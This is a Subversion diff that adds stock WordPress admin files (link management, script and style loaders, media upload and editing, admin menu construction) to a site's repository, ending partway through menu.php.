+ * @package WordPress
+ * @subpackage Dummy
+ *
+ * @param mixed $parser XML Parser resource.
+ * @param string $tagName XML tag name.
+ */
+function endElement($parser, $tagName) {
+	// nothing to do.
+}
+
+// Create an XML parser
+$xml_parser = xml_parser_create();
+
+// Set the functions to handle opening and closing tags
+xml_set_element_handler($xml_parser, "startElement", "endElement");
+
+if (!xml_parse($xml_parser, $opml, true)) {
+	echo(sprintf(__('XML error: %1$s at line %2$s'),
+	xml_error_string(xml_get_error_code($xml_parser)),
+	xml_get_current_line_number($xml_parser)));
+}
+
+// Free up memory used by the XML parser
+xml_parser_free($xml_parser);
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/link.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/link.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/link.php	(revision 44)
@@ -0,0 +1,116 @@
+<?php
+/**
+ * Manage link administration actions.
+ *
+ * This page is accessed by the link management pages and handles the forms and
+ * AJAX processes for link actions.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once ('admin.php');
+
+wp_reset_vars(array('action', 'cat_id', 'linkurl', 'name', 'image', 'description', 'visible', 'target', 'category', 'link_id', 'submit', 'order_by', 'links_show_cat_id', 'rating', 'rel', 'notes', 'linkcheck[]'));
+
+if ( ! current_user_can('manage_links') )
+	wp_die( __('You do not have sufficient permissions to edit the links for this blog.') );
+
+if ( !empty($_POST['deletebookmarks']) )
+	$action = 'deletebookmarks';
+if ( !empty($_POST['move']) )
+	$action = 'move';
+if ( !empty($_POST['linkcheck']) )
+	$linkcheck = $_POST['linkcheck'];
+
+$this_file = 'link-manager.php';
+
+switch ($action) {
+	case 'deletebookmarks' :
+		check_admin_referer('bulk-bookmarks');
+
+		//for each link id (in $linkcheck[]) change category to selected value
+		if (count($linkcheck) == 0) {
+			wp_redirect($this_file);
+			exit;
+		}
+
+		$deleted = 0;
+		foreach ($linkcheck as $link_id) {
+			$link_id = (int) $link_id;
+
+			if ( wp_delete_link($link_id) )
+				$deleted++;
+		}
+
+		wp_redirect("$this_file?deleted=$deleted");
+		exit;
+		break;
+
+	case 'move' :
+		check_admin_referer('bulk-bookmarks');
+
+		//for each link id (in $linkcheck[]) change category to selected value
+		if (count($linkcheck) == 0) {
+			wp_redirect($this_file);
+			exit;
+		}
+		$all_links = join(',', $linkcheck);
+		// should now have an array of links we can change
+		//$q = $wpdb->query("update $wpdb->links SET link_category='$category' WHERE link_id IN ($all_links)");
+
+		wp_redirect($this_file);
+		exit;
+		break;
+
+	case 'add' :
+		check_admin_referer('add-bookmark');
+
+		add_link();
+
+		wp_redirect( wp_get_referer() . '?added=true' );
+		exit;
+		break;
+
+	case 'save' :
+		$link_id = (int) $_POST['link_id'];
+		check_admin_referer('update-bookmark_' . $link_id);
+
+		edit_link($link_id);
+
+		wp_redirect($this_file);
+		exit;
+		break;
+
+	case 'delete' :
+		$link_id = (int) $_GET['link_id'];
+		check_admin_referer('delete-bookmark_' . $link_id);
+
+		wp_delete_link($link_id);
+
+		wp_redirect($this_file);
+		exit;
+		break;
+
+	case 'edit' :
+		wp_enqueue_script('link');
+		wp_enqueue_script('xfn');
+
+		$parent_file = 'link-manager.php';
+		$submenu_file = 'link-manager.php';
+		$title = __('Edit Link');
+
+		$link_id = (int) $_GET['link_id'];
+
+		if (!$link = get_link_to_edit($link_id))
+			wp_die(__('Link not found.'));
+
+		include ('edit-link-form.php');
+		include ('admin-footer.php');
+		break;
+
+	default :
+		break;
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/load-scripts.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/load-scripts.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/load-scripts.php	(revision 44)
@@ -0,0 +1,142 @@
+<?php
+
+/**
+ * Disable error reporting
+ *
+ * Set this to error_reporting( E_ALL ) or error_reporting( E_ALL | E_STRICT ) for debugging
+ */
+error_reporting(0);
+
+/** Set ABSPATH for execution */
+define( 'ABSPATH', dirname(dirname(__FILE__)) . '/' );
+define( 'WPINC', 'wp-includes' );
+
+/**
+ * @ignore
+ */
+function __() {}
+
+/**
+ * @ignore
+ */
+function _c() {}
+
+/**
+ * @ignore
+ */
+function _x() {}
+
+
+/**
+ * @ignore
+ */
+function add_filter() {}
+
+/**
+ * @ignore
+ */
+function esc_attr() {}
+
+/**
+ * @ignore
+ */
+function apply_filters() {}
+
+/**
+ * @ignore
+ */
+function get_option() {}
+
+/**
+ * @ignore
+ */
+function is_lighttpd_before_150() {}
+
+/**
+ * @ignore
+ */
+function add_action() {}
+
+/**
+ * @ignore
+ */
+function do_action_ref_array() {}
+
+/**
+ * @ignore
+ */
+function get_bloginfo() {}
+
+/**
+ * @ignore
+ */
+function is_admin() {return true;}
+
+/**
+ * @ignore
+ */
+function site_url() {}
+
+/**
+ * @ignore
+ */
+function admin_url() {}
+
+/**
+ * @ignore
+ */
+function wp_guess_url() {}
+
+function get_file($path) {
+
+	if ( function_exists('realpath') )
+		$path = realpath($path);
+
+	if ( ! $path || ! @is_file($path) )
+		return '';
+
+	return @file_get_contents($path);
+}
+
+$load = preg_replace( '/[^a-z0-9,_-]+/i', '', $_GET['load'] );
+$load = explode(',', $load);
+
+if ( empty($load) )
+	exit;
+
+require(ABSPATH . WPINC . '/script-loader.php');
+require(ABSPATH . WPINC . '/version.php');
+
+$compress = ( isset($_GET['c']) && $_GET['c'] );
+$force_gzip = ( $compress && 'gzip' == $_GET['c'] );
+$expires_offset = 31536000;
+$out = '';
+
+$wp_scripts = new WP_Scripts();
+wp_default_scripts($wp_scripts);
+
+foreach( $load as $handle ) {
+	if ( !array_key_exists($handle, $wp_scripts->registered) )
+		continue;
+
+	$path = ABSPATH . $wp_scripts->registered[$handle]->src;
+	$out .= get_file($path) . "\n";
+}
+
+header('Content-Type: application/x-javascript; charset=UTF-8');
+header('Expires: ' . gmdate( "D, d M Y H:i:s", time() + $expires_offset ) . ' GMT');
+header("Cache-Control: public, max-age=$expires_offset");
+
+if ( $compress && ! ini_get('zlib.output_compression') && 'ob_gzhandler' != ini_get('output_handler') ) {
+	header('Vary: Accept-Encoding'); // Handle proxies
+	if ( false !== strpos( strtolower($_SERVER['HTTP_ACCEPT_ENCODING']), 'deflate') && function_exists('gzdeflate') && ! $force_gzip ) {
+		header('Content-Encoding: deflate');
+		$out = gzdeflate( $out, 3 );
+	} elseif ( false !== strpos( strtolower($_SERVER['HTTP_ACCEPT_ENCODING']), 'gzip') && function_exists('gzencode') ) {
+		header('Content-Encoding: gzip');
+		$out = gzencode( $out, 3 );
+	}
+}
+
+echo $out;
+exit;
Index: /trunk/www.guidonia.net/wp/wp-admin/load-styles.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/load-styles.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/load-styles.php	(revision 44)
@@ -0,0 +1,152 @@
+<?php
+
+/**
+ * Disable error reporting
+ *
+ * Set this to error_reporting( E_ALL ) or error_reporting( E_ALL | E_STRICT ) for debugging
+ */
+error_reporting(0);
+
+/** Set ABSPATH for execution */
+define( 'ABSPATH', dirname(dirname(__FILE__)) . '/' );
+define( 'WPINC', 'wp-includes' );
+
+/**
+ * @ignore
+ */
+function __() {}
+
+/**
+ * @ignore
+ */
+function _c() {}
+
+/**
+ * @ignore
+ */
+function _x() {}
+
+
+/**
+ * @ignore
+ */
+function add_filter() {}
+
+/**
+ * @ignore
+ */
+function esc_attr() {}
+
+/**
+ * @ignore
+ */
+function apply_filters() {}
+
+/**
+ * @ignore
+ */
+function get_option() {}
+
+/**
+ * @ignore
+ */
+function is_lighttpd_before_150() {}
+
+/**
+ * @ignore
+ */
+function add_action() {}
+
+/**
+ * @ignore
+ */
+function do_action_ref_array() {}
+
+/**
+ * @ignore
+ */
+function get_bloginfo() {}
+
+/**
+ * @ignore
+ */
+function is_admin() {return true;}
+
+/**
+ * @ignore
+ */
+function site_url() {}
+
+/**
+ * @ignore
+ */
+function admin_url() {}
+
+/**
+ * @ignore
+ */
+function wp_guess_url() {}
+
+function get_file($path) {
+
+	if ( function_exists('realpath') )
+		$path = realpath($path);
+
+	if ( ! $path || ! @is_file($path) )
+		return '';
+
+	return @file_get_contents($path);
+}
+
+require(ABSPATH . '/wp-includes/script-loader.php');
+require(ABSPATH . '/wp-includes/version.php');
+
+$load = preg_replace( '/[^a-z0-9,_-]+/i', '', $_GET['load'] );
+$load = explode(',', $load);
+
+if ( empty($load) )
+	exit;
+
+$compress = ( isset($_GET['c']) && $_GET['c'] );
+$force_gzip = ( $compress && 'gzip' == $_GET['c'] );
+$rtl = ( isset($_GET['dir']) && 'rtl' == $_GET['dir'] );
+$expires_offset = 31536000;
+$out = '';
+
+$wp_styles = new WP_Styles();
+wp_default_styles($wp_styles);
+
+foreach( $load as $handle ) {
+	if ( !array_key_exists($handle, $wp_styles->registered) )
+		continue;
+
+	$style = $wp_styles->registered[$handle];
+	$path = ABSPATH . $style->src;
+
+	$content = get_file($path) . "\n";
+
+	if ( $rtl && isset($style->extra['rtl']) && $style->extra['rtl'] ) {
+		$rtl_path = is_bool($style->extra['rtl']) ? str_replace( '.css', '-rtl.css', $path ) : ABSPATH . $style->extra['rtl'];
+		$content .= get_file($rtl_path) . "\n";
+	}
+
+	$out .= str_replace( '../images/', 'images/', $content );
+}
+
+header('Content-Type: text/css');
+header('Expires: ' . gmdate( "D, d M Y H:i:s", time() + $expires_offset ) . ' GMT');
+header("Cache-Control: public, max-age=$expires_offset");
+
+if ( $compress && ! ini_get('zlib.output_compression') && 'ob_gzhandler' != ini_get('output_handler') ) {
+	header('Vary: Accept-Encoding'); // Handle proxies
+	if ( false !== strpos( strtolower($_SERVER['HTTP_ACCEPT_ENCODING']), 'deflate') && function_exists('gzdeflate') && ! $force_gzip ) {
+		header('Content-Encoding: deflate');
+		$out = gzdeflate( $out, 3 );
+	} elseif ( false !== strpos( strtolower($_SERVER['HTTP_ACCEPT_ENCODING']), 'gzip') && function_exists('gzencode') ) {
+		header('Content-Encoding: gzip');
+		$out = gzencode( $out, 3 );
+	}
+}
+
+echo $out;
+exit;
Index: /trunk/www.guidonia.net/wp/wp-admin/media-new.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/media-new.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/media-new.php	(revision 44)
@@ -0,0 +1,14 @@
+<?php
+/**
+ * Upload new media Administration Panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+$_GET['inline'] = 'true';
+/** Administration bootstrap */
+require_once('admin.php');
+require_once('media-upload.php');
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/media-upload.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/media-upload.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/media-upload.php	(revision 44)
@@ -0,0 +1,110 @@
+<?php
+/**
+ * Manage media uploaded file.
+ *
+ * There are many filters in here for media. Plugins can extend functionality
+ * by hooking into the filters.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once('admin.php');
+
+if (!current_user_can('upload_files'))
+	wp_die(__('You do not have permission to upload files.'));
+
+wp_enqueue_script('swfupload-all');
+wp_enqueue_script('swfupload-handlers');
+
+@header('Content-Type: ' . get_option('html_type') . '; charset=' . get_option('blog_charset'));
+
+// IDs should be integers
+$ID = isset($ID) ? (int) $ID : 0;
+$post_id = isset($post_id)? (int) $post_id : 0;
+
+// Require an ID for the edit screen
+if ( isset($action) && $action == 'edit' && !$ID )
+	wp_die(__("You are not allowed to be here"));
+
+if ( isset($_GET['inline']) ) {
+	$errors = array();
+
+	if ( isset($_POST['html-upload']) && !empty($_FILES) ) {
+		// Upload File button was clicked
+		$id = media_handle_upload('async-upload', $_REQUEST['post_id']);
+		unset($_FILES);
+		if ( is_wp_error($id) ) {
+			$errors['upload_error'] = $id;
+			$id = false;
+		}
+	}
+
+	if ( isset($_GET['upload-page-form']) ) {
+		$errors = array_merge($errors, (array) media_upload_form_handler());
+
+		$location = 'upload.php';
+		if ( $errors )
+			$location .= '?message=3';
+
+		wp_redirect( admin_url($location) );
+	}
+
+	$title = __('Upload New Media');
+	$parent_file = 'upload.php';
+	require_once('admin-header.php'); ?>
+	<div class="wrap">
+	<?php screen_icon(); ?>
+	<h2><?php echo esc_html( $title ); ?></h2>
+
+	<form enctype="multipart/form-data" method="post" action="media-upload.php?inline=&amp;upload-page-form=" class="media-upload-form type-form validate" id="file-form">
+
+	<?php media_upload_form(); ?>
+
+	<script type="text/javascript">
+	jQuery(function($){
+		var preloaded = $(".media-item.preloaded");
+		if ( preloaded.length > 0 ) {
+			preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});
+		}
+		updateMediaForm();
+		post_id = 0;
+		shortform = 1;
+	});
+	</script>
+	<input type="hidden" name="post_id" id="post_id" value="0" />
+	<?php wp_nonce_field('media-form'); ?>
+	<div id="media-items"> </div>
+	<p>
+	<input type="submit" class="button savebutton" name="save" value="<?php esc_attr_e( 'Save all changes' ); ?>" />
+	</p>
+	</form>
+	</div>
+
+<?php
+	include('admin-footer.php');
+
+} else {
+
+	// upload type: image, video, file, ..?
+	if ( isset($_GET['type']) )
+		$type = strval($_GET['type']);
+	else
+		$type = apply_filters('media_upload_default_type', 'file');
+
+	// tab: gallery, library, or type-specific
+	if ( isset($_GET['tab']) )
+		$tab = strval($_GET['tab']);
+	else
+		$tab = apply_filters('media_upload_default_tab', 'type');
+
+	$body_id = 'media-upload';
+
+	// let the action code decide how to handle the request
+	if ( $tab == 'type' || $tab == 'type_url' )
+		do_action("media_upload_$type");
+	else
+		do_action("media_upload_$tab");
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/media.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/media.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/media.php	(revision 44)
@@ -0,0 +1,119 @@
+<?php
+/**
+ * Media management action handler.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once('admin.php');
+
+$parent_file = 'upload.php';
+$submenu_file = 'upload.php';
+
+wp_reset_vars(array('action'));
+
+switch( $action ) :
+case 'editattachment' :
+	$attachment_id = (int) $_POST['attachment_id'];
+	check_admin_referer('media-form');
+
+	if ( !current_user_can('edit_post', $attachment_id) )
+		wp_die ( __('You are not allowed to edit this attachment.') );
+
+	$errors = media_upload_form_handler();
+
+	if ( empty($errors) ) {
+		$location = 'media.php';
+		if ( $referer = wp_get_original_referer() ) {
+			if ( false !== strpos($referer, 'upload.php') || ( url_to_postid($referer) == $attachment_id )  )
+				$location = $referer;
+		}
+		if ( false !== strpos($location, 'upload.php') ) {
+			$location = remove_query_arg('message', $location);
+			$location = add_query_arg('posted',	$attachment_id, $location);
+		} elseif ( false !== strpos($location, 'media.php') ) {
+			$location = add_query_arg('message', 'updated', $location);
+		}
+		wp_redirect($location);
+		exit;
+	}
+
+	// no break
+case 'edit' :
+	$title = __('Edit Media');
+
+	if ( empty($errors) )
+		$errors = null;
+
+	if ( empty( $_GET['attachment_id'] ) ) {
+		wp_redirect('upload.php');
+		exit();
+	}
+	$att_id = (int) $_GET['attachment_id'];
+
+	if ( !current_user_can('edit_post', $att_id) )
+		wp_die ( __('You are not allowed to edit this attachment.') );
+
+	$att = get_post($att_id);
+
+	add_filter('attachment_fields_to_edit', 'media_single_attachment_fields_to_edit', 10, 2);
+
+	wp_enqueue_script( 'wp-ajax-response' );
+
+	require( 'admin-header.php' );
+
+	$parent_file = 'upload.php';
+	$message = '';
+	$class = '';
+	if ( isset($_GET['message']) ) {
+		switch ( $_GET['message'] ) :
+		case 'updated' :
+			$message = __('Media attachment updated.');
+			$class = 'updated fade';
+			break;
+		endswitch;
+	}
+	if ( $message )
+		echo "<div id='message' class='$class'><p>$message</p></div>\n";
+
+?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php _e( 'Edit Media' ); ?></h2>
+
+<form method="post" action="<?php echo esc_url( remove_query_arg( 'message' ) ); ?>" class="media-upload-form" id="media-single-form">
+<div class="media-single">
+<div id='media-item-<?php echo $att_id; ?>' class='media-item'>
+<?php echo get_media_item( $att_id, array( 'toggle' => false, 'send' => false, 'delete' => false, 'show_title' => false, 'errors' => $errors ) ); ?>
+</div>
+</div>
+
+<p class="submit">
+<input type="submit" class="button-primary" name="save" value="<?php esc_attr_e('Update Media'); ?>" />
+<input type="hidden" name="post_id" id="post_id" value="<?php echo isset($post_id) ? esc_attr($post_id) : ''; ?>" />
+<input type="hidden" name="attachment_id" id="attachment_id" value="<?php echo esc_attr($att_id); ?>" />
+<input type="hidden" name="action" value="editattachment" />
+<?php wp_original_referer_field(true, 'previous'); ?>
+<?php wp_nonce_field('media-form'); ?>
+</p>
+</form>
+
+</div>
+
+<?php
+
+	require( 'admin-footer.php' );
+
+	exit;
+
+default:
+	wp_redirect( 'upload.php' );
+	exit;
+
+endswitch;
+
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/menu-header.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/menu-header.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/menu-header.php	(revision 44)
@@ -0,0 +1,162 @@
+<?php
+/**
+ * Displays Administration Menu.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * The current page.
+ *
+ * @global string $self
+ * @name $self
+ * @var string
+ */
+$self = preg_replace('|^.*/wp-admin/|i', '', $_SERVER['PHP_SELF']);
+$self = preg_replace('|^.*/plugins/|i', '', $self);
+
+global $menu, $submenu, $parent_file; //For when admin-header is included from within a function.
+
+get_admin_page_parent();
+
+/**
+ * Display menu.
+ *
+ * @access private
+ * @since 2.7.0
+ *
+ * @param array $menu
+ * @param array $submenu
+ * @param bool $submenu_as_parent
+ */
+function _wp_menu_output( $menu, $submenu, $submenu_as_parent = true ) {
+	global $self, $parent_file, $submenu_file, $plugin_page, $pagenow;
+
+	$first = true;
+	// 0 = name, 1 = capability, 2 = file, 3 = class, 4 = id, 5 = icon src
+	foreach ( $menu as $key => $item ) {
+		$admin_is_parent = false;
+		$class = array();
+		if ( $first ) {
+			$class[] = 'wp-first-item';
+			$first = false;
+		}
+		if ( !empty($submenu[$item[2]]) )
+			$class[] = 'wp-has-submenu';
+
+		if ( ( $parent_file && $item[2] == $parent_file ) || strcmp($self, $item[2]) == 0 ) {
+			if ( !empty($submenu[$item[2]]) )
+				$class[] = 'wp-has-current-submenu wp-menu-open';
+			else
+				$class[] = 'current';
+		}
+
+		if ( isset($item[4]) && ! empty($item[4]) )
+			$class[] = $item[4];
+
+		$class = $class ? ' class="' . join( ' ', $class ) . '"' : '';
+		$tabindex = ' tabindex="1"';
+		$id = isset($item[5]) && ! empty($item[5]) ? ' id="' . preg_replace( '|[^a-zA-Z0-9_:.]|', '-', $item[5] ) . '"' : '';
+		$img = '';
+		if ( isset($item[6]) && ! empty($item[6]) ) {
+			if ( 'div' === $item[6] )
+				$img = '<br />';
+			else
+				$img = '<img src="' . $item[6] . '" alt="" />';
+		}
+		$toggle = '<div class="wp-menu-toggle"><br /></div>';
+
+		echo "\n\t<li$class$id>";
+
+		if ( false !== strpos($class, 'wp-menu-separator') ) {
+			echo '<a class="separator" href="?unfoldmenu=1"><br /></a>';
+		} elseif ( $submenu_as_parent && !empty($submenu[$item[2]]) ) {
+			$submenu[$item[2]] = array_values($submenu[$item[2]]);  // Re-index.
+			$menu_hook = get_plugin_page_hook($submenu[$item[2]][0][2], $item[2]);
+			$menu_file = $submenu[$item[2]][0][2];
+			if ( false !== $pos = strpos($menu_file, '?') )
+				$menu_file = substr($menu_file, 0, $pos);
+			if ( ( ('index.php' != $submenu[$item[2]][0][2]) && file_exists(WP_PLUGIN_DIR . "/$menu_file") ) || !empty($menu_hook)) {
+				$admin_is_parent = true;
+				echo "<div class='wp-menu-image'><a href='admin.php?page={$submenu[$item[2]][0][2]}'>$img</a></div>$toggle<a href='admin.php?page={$submenu[$item[2]][0][2]}'$class$tabindex>{$item[0]}</a>";
+			} else {
+				echo "\n\t<div class='wp-menu-image'><a href='{$submenu[$item[2]][0][2]}'>$img</a></div>$toggle<a href='{$submenu[$item[2]][0][2]}'$class$tabindex>{$item[0]}</a>";
+			}
+		} else if ( current_user_can($item[1]) ) {
+			$menu_hook = get_plugin_page_hook($item[2], 'admin.php');
+			$menu_file = $item[2];
+			if ( false !== $pos = strpos($menu_file, '?') )
+				$menu_file = substr($menu_file, 0, $pos);
+			if ( ('index.php' != $item[2]) && file_exists(WP_PLUGIN_DIR . "/$menu_file") || !empty($menu_hook) ) {
+				$admin_is_parent = true;
+				echo "\n\t<div class='wp-menu-image'><a href='admin.php?page={$item[2]}'>$img</a></div>$toggle<a href='admin.php?page={$item[2]}'$class$tabindex>{$item[0]}</a>";
+			} else {
+				echo "\n\t<div class='wp-menu-image'><a href='{$item[2]}'>$img</a></div>$toggle<a href='{$item[2]}'$class$tabindex>{$item[0]}</a>";
+			}
+		}
+
+		if ( !empty($submenu[$item[2]]) ) {
+			echo "\n\t<div class='wp-submenu'><div class='wp-submenu-head'>{$item[0]}</div><ul>";
+			$first = true;
+			foreach ( $submenu[$item[2]] as $sub_key => $sub_item ) {
+				if ( !current_user_can($sub_item[1]) )
+					continue;
+
+				$class = array();
+				if ( $first ) {
+					$class[] = 'wp-first-item';
+					$first = false;
+				}
+
+				$menu_file = $item[2];
+				if ( false !== $pos = strpos($menu_file, '?') )
+					$menu_file = substr($menu_file, 0, $pos);
+
+				if ( isset($submenu_file) ) {
+					if ( $submenu_file == $sub_item[2] )
+						$class[] = 'current';
+				// If plugin_page is set the parent must either match the current page or not physically exist.
+				// This allows plugin pages with the same hook to exist under different parents.
+				} else if ( (isset($plugin_page) && $plugin_page == $sub_item[2] && (!file_exists($menu_file) || ($item[2] == $self))) || (!isset($plugin_page) && $self == $sub_item[2]) ) {
+					$class[] = 'current';
+				}
+
+				$class = $class ? ' class="' . join( ' ', $class ) . '"' : '';
+
+				$menu_hook = get_plugin_page_hook($sub_item[2], $item[2]);
+				$sub_file = $sub_item[2];
+				if ( false !== $pos = strpos($sub_file, '?') )
+					$sub_file = substr($sub_file, 0, $pos);
+
+				if ( ( ('index.php' != $sub_item[2]) && file_exists(WP_PLUGIN_DIR . "/$sub_file") ) || ! empty($menu_hook) ) {
+					// If admin.php is the current page or if the parent exists as a file in the plugins or admin dir
+					
+					$parent_exists = (!$admin_is_parent && file_exists(WP_PLUGIN_DIR . "/$menu_file") && !is_dir(WP_PLUGIN_DIR . "/{$item[2]}") ) || file_exists($menu_file);
+					if ( $parent_exists )
+						echo "<li$class><a href='{$item[2]}?page={$sub_item[2]}'$class$tabindex>{$sub_item[0]}</a></li>";
+					elseif ( 'admin.php' == $pagenow || !$parent_exists )
+						echo "<li$class><a href='admin.php?page={$sub_item[2]}'$class$tabindex>{$sub_item[0]}</a></li>";
+					else
+						echo "<li$class><a href='{$item[2]}?page={$sub_item[2]}'$class$tabindex>{$sub_item[0]}</a></li>";
+				} else {
+					echo "<li$class><a href='{$sub_item[2]}'$class$tabindex>{$sub_item[0]}</a></li>";
+				}
+			}
+			echo "</ul></div>";
+		}
+		echo "</li>";
+	}
+}
+
+?>
+
+<ul id="adminmenu">
+
+<?php
+
+_wp_menu_output( $menu, $submenu );
+do_action( 'adminmenu' );
+
+?>
+</ul>
Index: /trunk/www.guidonia.net/wp/wp-admin/menu.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/menu.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/menu.php	(revision 44)
@@ -0,0 +1,312 @@
+<?php
+/**
+ * Build Administration Menu.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Constructs the admin menu bar.
+ *
+ * The elements in the array are :
+ *     0: Menu item name
+ *     1: Minimum level or capability required.
+ *     2: The URL of the item's file
+ *     3: Class
+ *     4: ID
+ *     5: Icon for top level menu
+ *
+ * @global array $menu
+ * @name $menu
+ * @var array
+ */
+
+$awaiting_mod = wp_count_comments();
+$awaiting_mod = $awaiting_mod->moderated;
+
+$menu[0] = array( __('Dashboard'), 'read', 'index.php', '', 'menu-top', 'menu-dashboard', 'div' );
+
+$menu[4] = array( '', 'read', 'separator1', '', 'wp-menu-separator' );
+
+$menu[5] = array( __('Posts'), 'edit_posts', 'edit.php', '', 'open-if-no-js menu-top', 'menu-posts', 'div' );
+	$submenu['edit.php'][5]  = array( __('Edit'), 'edit_posts', 'edit.php' );
+	/* translators: add new post */
+	$submenu['edit.php'][10]  = array( _x('Add New', 'post'), 'edit_posts', 'post-new.php' );
+
+	$i = 15;
+	foreach ( $wp_taxonomies as $tax ) {
+		if ( $tax->hierarchical || ! in_array('post', (array) $tax->object_type, true) )
+			continue;
+
+		$submenu['edit.php'][$i] = array( esc_attr($tax->label), 'manage_categories', 'edit-tags.php?taxonomy=' . $tax->name );
+		++$i;
+	}
+
+	$submenu['edit.php'][50] = array( __('Categories'), 'manage_categories', 'categories.php' );
+
+$menu[10] = array( __('Media'), 'upload_files', 'upload.php', '', 'menu-top', 'menu-media', 'div' );
+	$submenu['upload.php'][5] = array( __('Library'), 'upload_files', 'upload.php');
+	/* translators: add new file */
+	$submenu['upload.php'][10] = array( _x('Add New', 'file'), 'upload_files', 'media-new.php');
+
+$menu[15] = array( __('Links'), 'manage_links', 'link-manager.php', '', 'menu-top', 'menu-links', 'div' );
+	$submenu['link-manager.php'][5] = array( __('Edit'), 'manage_links', 'link-manager.php' );
+	/* translators: add new links */
+	$submenu['link-manager.php'][10] = array( _x('Add New', 'links'), 'manage_links', 'link-add.php' );
+	$submenu['link-manager.php'][15] = array( __('Link Categories'), 'manage_categories', 'edit-link-categories.php' );
+
+$menu[20] = array( __('Pages'), 'edit_pages', 'edit-pages.php', '', 'menu-top', 'menu-pages', 'div' );
+	$submenu['edit-pages.php'][5] = array( __('Edit'), 'edit_pages', 'edit-pages.php' );
+	/* translators: add new page */
+	$submenu['edit-pages.php'][10] = array( _x('Add New', 'page'), 'edit_pages', 'page-new.php' );
+
+$menu[25] = array( sprintf( __('Comments %s'), "<span id='awaiting-mod' class='count-$awaiting_mod'><span class='pending-count'>" . number_format_i18n($awaiting_mod) . "</span></span>" ), 'edit_posts', 'edit-comments.php', '', 'menu-top', 'menu-comments', 'div' );
+
+$_wp_last_object_menu = 25; // The index of the last top-level menu in the object menu group
+
+$menu[59] = array( '', 'read', 'separator2', '', 'wp-menu-separator' );
+
+$menu[60] = array( __('Appearance'), 'switch_themes', 'themes.php', '', 'menu-top', 'menu-appearance', 'div' );
+	$submenu['themes.php'][5]  = array(__('Themes'), 'switch_themes', 'themes.php');
+	$submenu['themes.php'][10] = array(__('Editor'), 'edit_themes', 'theme-editor.php');
+	$submenu['themes.php'][15] = array(__('Add New Themes'), 'install_themes', 'theme-install.php');
+
+$update_plugins = get_transient( 'update_plugins' );
+$update_count = 0;
+if ( !empty($update_plugins->response) )
+	$update_count = count( $update_plugins->response );
+
+$menu[65] = array( sprintf( __('Plugins %s'), "<span class='update-plugins count-$update_count'><span class='plugin-count'>" . number_format_i18n($update_count) . "</span></span>" ), 'activate_plugins', 'plugins.php', '', 'menu-top', 'menu-plugins', 'div' );
+	$submenu['plugins.php'][5]  = array( __('Installed'), 'activate_plugins', 'plugins.php' );
+	/* translators: add new plugin */
+	$submenu['plugins.php'][10] = array(_x('Add New', 'plugin'), 'install_plugins', 'plugin-install.php');
+	$submenu['plugins.php'][15] = array( __('Editor'), 'edit_plugins', 'plugin-editor.php' );
+
+if ( current_user_can('edit_users') )
+	$menu[70] = array( __('Users'), 'edit_users', 'users.php', '', 'menu-top', 'menu-users', 'div' );
+else
+	$menu[70] = array( __('Profile'), 'read', 'profile.php', '', 'menu-top', 'menu-users', 'div' );
+
+if ( current_user_can('edit_users') ) {
+	$_wp_real_parent_file['profile.php'] = 'users.php'; // Back-compat for plugins adding submenus to profile.php.
+	$submenu['users.php'][5] = array(__('Authors &amp; Users'), 'edit_users', 'users.php');
+	$submenu['users.php'][10] = array(__('Add New'), 'create_users', 'user-new.php');
+	$submenu['users.php'][15] = array(__('Your Profile'), 'read', 'profile.php');
+} else {
+	$_wp_real_parent_file['users.php'] = 'profile.php';
+	$submenu['profile.php'][5] = array(__('Your Profile'), 'read', 'profile.php');
+}
+
+$menu[75] = array( __('Tools'), 'read', 'tools.php', '', 'menu-top', 'menu-tools', 'div' );
+	$submenu['tools.php'][5] = array( __('Tools'), 'read', 'tools.php' );
+	$submenu['tools.php'][10] = array( __('Import'), 'import', 'import.php' );
+	$submenu['tools.php'][15] = array( __('Export'), 'import', 'export.php' );
+	$submenu['tools.php'][20] = array( __('Upgrade'), 'install_plugins',  'update-core.php');
+
+$menu[80] = array( __('Settings'), 'manage_options', 'options-general.php', '', 'menu-top', 'menu-settings', 'div' );
+	$submenu['options-general.php'][10] = array(__('General'), 'manage_options', 'options-general.php');
+	$submenu['options-general.php'][15] = array(__('Writing'), 'manage_options', 'options-writing.php');
+	$submenu['options-general.php'][20] = array(__('Reading'), 'manage_options', 'options-reading.php');
+	$submenu['options-general.php'][25] = array(__('Discussion'), 'manage_options', 'options-discussion.php');
+	$submenu['options-general.php'][30] = array(__('Media'), 'manage_options', 'options-media.php');
+	$submenu['options-general.php'][35] = array(__('Privacy'), 'manage_options', 'options-privacy.php');
+	$submenu['options-general.php'][40] = array(__('Permalinks'), 'manage_options', 'options-permalink.php');
